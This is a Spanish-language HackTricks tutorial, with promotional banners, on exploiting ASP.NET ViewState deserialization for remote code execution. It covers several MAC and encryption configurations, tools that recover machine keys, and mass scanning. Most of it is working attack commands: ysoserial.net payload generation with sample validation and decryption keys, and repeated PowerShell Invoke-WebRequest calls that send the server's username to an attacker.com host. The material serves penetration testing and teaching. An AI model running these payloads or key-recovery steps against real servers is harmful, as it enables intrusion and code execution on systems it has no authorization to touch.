17 KiB
Explotando __VIEWSTATE sin conocer los secretos
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere fluidez en polaco escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
¿Qué es ViewState?
ViewState es el método que el framework ASP.NET utiliza de forma predeterminada para preservar los valores de la página y los controles entre las páginas web. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que deben conservarse durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo o campos ocultos de ViewState.
Las siguientes propiedades o combinación de propiedades se aplican a la información de ViewState:
- Base64
- Puede definirse utilizando el atributo EnableViewStateMac y el atributo ViewStateEncryptionMode establecido en false
- Base64 + MAC (Código de Autenticación de Mensajes) habilitado
- Puede definirse utilizando el atributo EnableViewStateMac establecido en true
- Base64 + Encriptado
- Puede definirse utilizando el atributo viewStateEncryptionMode establecido en true
Casos de prueba
Caso de prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false
También es posible deshabilitar completamente el ViewStateMAC estableciendo la clave de registro AspNetEnforceViewStateMac
en cero en:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identificación de los atributos de ViewState
Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite:
Si no se utiliza MAC para proteger el parámetro, puedes explotarlo utilizando YSoSerial.Net.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Caso de prueba 1.5 - Como el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden eliminar ViewState para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).
Uno podría asumir que si ViewState no está presente, su implementación está segura de posibles vulnerabilidades relacionadas con la deserialización de ViewState.
Sin embargo, ese no es el caso. Si agregamos el parámetro ViewState al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr ejecución de código como se muestra en el Caso 1.
Caso de prueba 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
Para habilitar ViewState MAC para una página específica, necesitamos realizar los siguientes cambios en un archivo aspx específico:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
También podemos hacerlo para la aplicación en general configurándolo en el archivo web.config como se muestra a continuación:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Como el parámetro está protegido por MAC, esta vez, para ejecutar con éxito el ataque, primero necesitamos conocer la clave utilizada. En este caso, BurpSuite nos informará que el parámetro está protegido por MAC:
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad llamada "python blacklist3r", que es la forma más rápida de usarla.
Puede suministrarse directamente con el viewstate y el generador:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
O bien, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo badsecrets
de BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Si tienes suerte y encuentras la clave, puedes proceder con el ataque utilizando YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
En los casos en los que el parámetro _VIEWSTATEGENERATOR
no se envía por el servidor, no es necesario proporcionar el parámetro --generator
, pero sí estos:
--apppath="/" --path="/hello.aspx"
Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, probablemente el valor esté encriptado y necesitarás la Machine Key para encriptar tu carga útil y explotar la vulnerabilidad.
En este caso, el módulo Blacklist3r está en desarrollo...
Antes de .NET 4.5, ASP.NET puede aceptar un parámetro ___VIEWSTATE
_ sin encriptar de los usuarios incluso si ViewStateEncryptionMode
se ha establecido en Always. ASP.NET solo verifica la presencia del parámetro __VIEWSTATEENCRYPTED
en la solicitud. Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará.
Por lo tanto, si se conoce la Machine Key (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando YSoSerial.Net utilizado en el Caso 2 para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
- Elimina el parámetro
__VIEWSTATEENCRYPTED
de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, se mostrará un error de validación de MAC de ViewState y la explotación fallará, como se muestra en la figura:
Caso de prueba: 4 - .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
Podemos forzar el uso del framework ASP.NET especificando el siguiente parámetro dentro del archivo web.config, como se muestra a continuación.
<httpRuntime targetFramework="4.5" />
Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro machineKey
del archivo web.config.
compatibilityMode="Framework45"
Como en el caso anterior, Burp no identifica si la solicitud está protegida por MAC porque el valor está encriptado. Entonces, para enviar una carga útil válida, el atacante necesita la clave.
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave que se está utilizando:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Para obtener una descripción más detallada de IISDirPath y TargetPagePath, consulta aquí
O, con Badsecrets (con un valor de generador):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Una vez identificada una clave de máquina válida, el siguiente paso es generar una carga útil serializada utilizando YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Si tienes el valor de __VIEWSTATEGENERATOR
, puedes intentar usar el parámetro --generator
con ese valor y omitir los parámetros --path
y --apppath
.
Si se explota con éxito la vulnerabilidad de deserialización de ViewState, un servidor controlado por un atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. Prueba de concepto de explotación exitosa
Caso de prueba 6: se está utilizando ViewStateUserKeys
La propiedad ViewStateUserKey se puede utilizar para defenderse contra un ataque CSRF. Si se ha definido una clave de este tipo en la aplicación y tratamos de generar la carga útil de ViewState con los métodos discutidos hasta ahora, la aplicación no procesará la carga útil.
Necesitas usar un parámetro adicional para crear correctamente la carga útil:
--viewstateuserkey="randomstringdefinedintheserver"
Resultado de una Explotación Exitosa
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona exitosamente, el servidor responde con un "error interno del servidor 500" y el contenido de la respuesta es "La información de estado no es válida para esta página y puede estar corrupta". Además, obtenemos la solicitud OOB como se muestra en las siguientes figuras:
Solicitud fuera de banda con el nombre de usuario actual
Referencias
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
Si estás interesado en una carrera de hacking y en hackear lo inhackeable, ¡estamos contratando! (se requiere fluidez en polaco, tanto escrito como hablado).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.